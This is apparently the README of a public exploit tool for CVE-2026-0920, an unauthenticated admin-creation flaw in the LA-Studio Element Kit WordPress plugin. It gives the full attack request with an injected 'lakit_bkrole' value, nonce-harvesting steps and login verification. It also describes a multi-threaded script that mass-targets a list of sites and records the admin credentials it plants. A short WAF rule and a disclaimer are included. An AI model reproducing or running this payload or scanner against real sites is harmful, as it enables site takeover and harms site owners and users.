
LA-Studio Element Kit для Elementor <= 1.5.6.3 - неаутентифицированное повышение привилегий через бэкдор для создания административного пользователя через параметр lakit_bkrole
LA-Studio Element Kit for Elementor <= 1.5.6.3 - Неавторизованное повышение привилегий через бэкдор для создания учётной записи администратора через параметр lakit_bkrole
_____ _____ ___ __ ___ __ __ ___ ___ __
/ __\ \ / / __|_|_ ) \_ )/ / ___ / \/ _ \_ ) \
| (__ \ V /| _|___/ / / () / // _ \___| () \_, // / () |
\___| \_/ |___| /___\__/___\___/ \__/ /_//___\__/
📡 Эксплойт выходит здесь первым. Подписывайтесь на @KNxploited в Telegram — ваш элитный канал со свежераскрытыми CVE, рабочими PoC и точными security-исследованиями. Обновляется неустанно. Создан для тех, кто идёт впереди.
CVE-2026-0920 — это критическая уязвимость с оценкой CVSS 9.8, обнаруженная в WordPress-плагине LA-Studio Element Kit for Elementor.
Недочёт находится в функции ajax_register_handle(), которая обрабатывает неавторизованную регистрацию пользователей через AJAX. Функция не накладывает никаких ограничений на параметр lakit_bkrole — что позволяет полностью неавторизованному атакующему самостоятельно назначить себе роль administrator при регистрации, получая полный контроль над административной панелью WordPress одним запросом.
Корневая причина — отсутствие проверки прав на роли внутри AJAX-обработчика регистрации плагина:
// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);
public function ajax_register_handle() {
$actions = json_decode(stripslashes($_POST['actions']), true);
foreach ($actions as $req) {
if ($req['action'] === 'register') {
$data = $req['data'];
$user_data = [
'user_login' => $data['username'],
'user_pass' => $data['password'],
'user_email' => $data['email'],
'role' => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
];
// No validation of $data['lakit_bkrole'] against allowed roles
wp_insert_user($user_data); // Administrator created silently
}
}
}
Почему это критично:
wp_ajax_nopriv_* = доступно кому угодно без какой-либо аутентификацииlakit_bkrole принимает любую строку роли WordPress — включая administratorStep 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)
Search HTML/JS for:
"ajaxNonce": "<value>" ← Inline JSON config
ajaxNonce: '<value>' ← JS variable
data-ajaxnonce="<value>" ← HTML attribute
Nonce is publicly accessible — no login required.
↓
ajaxNonce extracted ✔️
──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = lakit_ajax
_nonce = <extracted nonce>
actions = {
"req1": {
"action": "register",
"data": {
"email": "[email protected]",
"password": "adminSA",
"username": "Nx_admin",
"lakit_field_log": "yes", ← use supplied username
"lakit_field_pwd": "yes", ← use supplied password
"lakit_field_cpwd": "no", ← skip password confirm
"lakit_bkrole": "1", ← trigger admin role injection
"lakit_recaptcha_response": ""
}
}
}
↓
Administrator account silently created ✔️
──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
log = Nx_admin
pwd = adminSA
↓
Session cookies obtained → GET /wp-admin/plugin-install.php
↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️
pip install requests colorama
| Зависимость | Назначение |
|---|---|
requests | HTTP-запросы, управление сессиями и cookie |
colorama |
Рекомендуется Python 3.10+ (используются аннотации объединённых типов
str | None).
CVE-2026-0920/
├── CVE-2026-0920.py # Main exploit script
├── list.txt # Target URLs — one per line
├── success_results.txt # Auto-generated: pwned targets + credentials
Откройте CVE-2026-0920.py и отредактируйте константы в начале файла, чтобы задать желаемые данные учётной записи администратора:
ADMIN_EMAIL = "[email protected]" # Email for the new admin account
ADMIN_PASSWORD = "adminSA" # Password for the new admin account
ADMIN_USERNAME = "Nx_admin" # Username for the new admin account
Создайте файл list.txt с одним URL-адресом цели на строку:
https://target1.com
https://target2.com
http://target3.com
К URL-адресам без схемы автоматически добавляется префикс
https://.
python CVE-2026-0920.py
Вам будет предложено ввести:
Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50): 20
Скрипт выдаёт цветной вывод в терминале в реальном времени:
[14:22:01] [*] https://target.com - Starting target
[14:22:02] [+] https://target.com - kay: a4f9c2b1e3
[14:22:03] [*] https://target.com - AJAX HTTP status: 200
[14:22:04] [+] https://target.com - AJAX response indicates success
[14:22:05] [*] https://target.com - Full admin verification: OK
============================================================
[ SUCCESS BLOCK ]
Site : https://target.com
Result : SUCCESS
AJAX OK : YES
FULL ADMIN : YES (login + plugin install access)
============================================================
Успешные эксплойты записываются в файл success_results.txt:
https://victim.com | USERNAME:Nx_admin | EMAIL:[email protected] | PASSWORD:adminSA | LOGIN:FULL_ADMIN_OK | RESP_SUCCESS:YES | NONCE:a4f9c2b1e3
Каждая строка содержит полную картину: цель, учётные данные, статус входа, статус AJAX-ответа и использованный nonce.
Скрипт выполняет двухэтапную проверку, чтобы исключить ложные срабатывания:
Stage 1 — AJAX Response Analysis
Checks for success markers in the JSON response:
• "created successfully"
• "success":true
• "type":"success"
• "status":"success"
Stage 2 — Real Login + Plugin Install Access Test
1. POST /wp-login.php with injected credentials
2. GET /wp-admin/plugin-install.php
3. Confirm 200 response + plugin upload form present
4. Confirm no redirect back to wp-login.php
Only BOTH stages passing = TRUE SUCCESS reported
Это исключает ложные срабатывания, вызванные сайтами, которые возвращают 200 OK на AJAX-запросы, но молча отвергают регистрацию.
Эксплойт генерирует следующий характерный сетевой паттерн — для защитников и авторов WAF:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=lakit_ajax&_nonce=<VALUE>&actions={"req1":{"action":"register","data":{...,"lakit_bkrole":"1",...}}}
Правило WAF / IDS (псевдокод):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "lakit_ajax"
AND request.body CONTAINS "lakit_bkrole"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2026-0920)
Если вы владелец сайта, разработчик или защитник, действуйте немедленно:
admin-ajax.php, содержащие lakit_bkrolelakit_ajaxTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.
By downloading, executing, or modifying this script, you explicitly agree:
• You hold EXPLICIT, WRITTEN authorization from the owner of every
target system you test. No exceptions. No grey areas.
• You are operating within a formally scoped, authorized penetration
testing engagement or a controlled lab environment.
• You will NOT use this tool against any system, network, or
infrastructure without documented legal permission.
• Nxploited and all contributors bear ZERO liability for unauthorized
use, data loss, system damage, legal proceedings, or criminal
prosecution arising from the use of this tool.
Unauthorized use of this exploit constitutes a criminal offense under:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), UK
— EU Directive 2013/40/EU on Attacks Against Information Systems
— Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
— And all equivalent national and international cybercrime legislation.
USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.
| Псевдоним | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Подписывайтесь на @KNxploited в Telegram Свежие CVE. Рабочие эксплойты. Глубокие исследования уязвимостей. Узнавайте первыми. Действуйте первыми. Не будьте последними.
| Поле | Детали |
|---|
| CVE ID | CVE-2026-0920 |
| Плагин | LA-Studio Element Kit for Elementor |
| Slug | lakit / la-studio-element-kit-for-elementor |
| Затронутые версии | Все версии вплоть до 1.5.6.3 включительно |
| Тип уязвимости | Неавторизованное повышение привилегий / создание администратора |
| Вектор атаки | Сеть — аутентификация не требуется |
| Оценка CVSS 3.1 | 9.8 CRITICAL |
| Вектор CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Воздействие | Полный захват администратора WordPress |
| Исследователь | Nxploited |
| Цветной вывод в терминале на всех платформах |
threading | Параллельная обработка нескольких целей |
re | Извлечение nonce из HTML/JS с помощью регулярных выражений |
| Цвет |
|---|
| Значение |
|---|
🔵 Голубой [*] | Информационное сообщение — шаг выполняется |
🟢 Зелёный [+] | Положительный сигнал — частичный или полный успех |
🟡 Жёлтый [!] | Предупреждение — неоднозначный результат, требует проверки |
🔴 Красный [-] | Ошибка — цель не эксплуатабельна или произошла ошибка |
| Параметр | По умолчанию | Описание |
|---|
| Файл с целями | list.txt | Файл, содержащий URL-адреса целей |
| Потоки | 10 (макс.: 50) | Параллельные потоки обработки |
ADMIN_EMAIL | [email protected] | Email для внедряемой учётной записи администратора |
ADMIN_PASSWORD | adminSA | Пароль для внедряемой учётной записи администратора |
ADMIN_USERNAME | Nx_admin | Имя пользователя для внедряемой учётной записи администратора |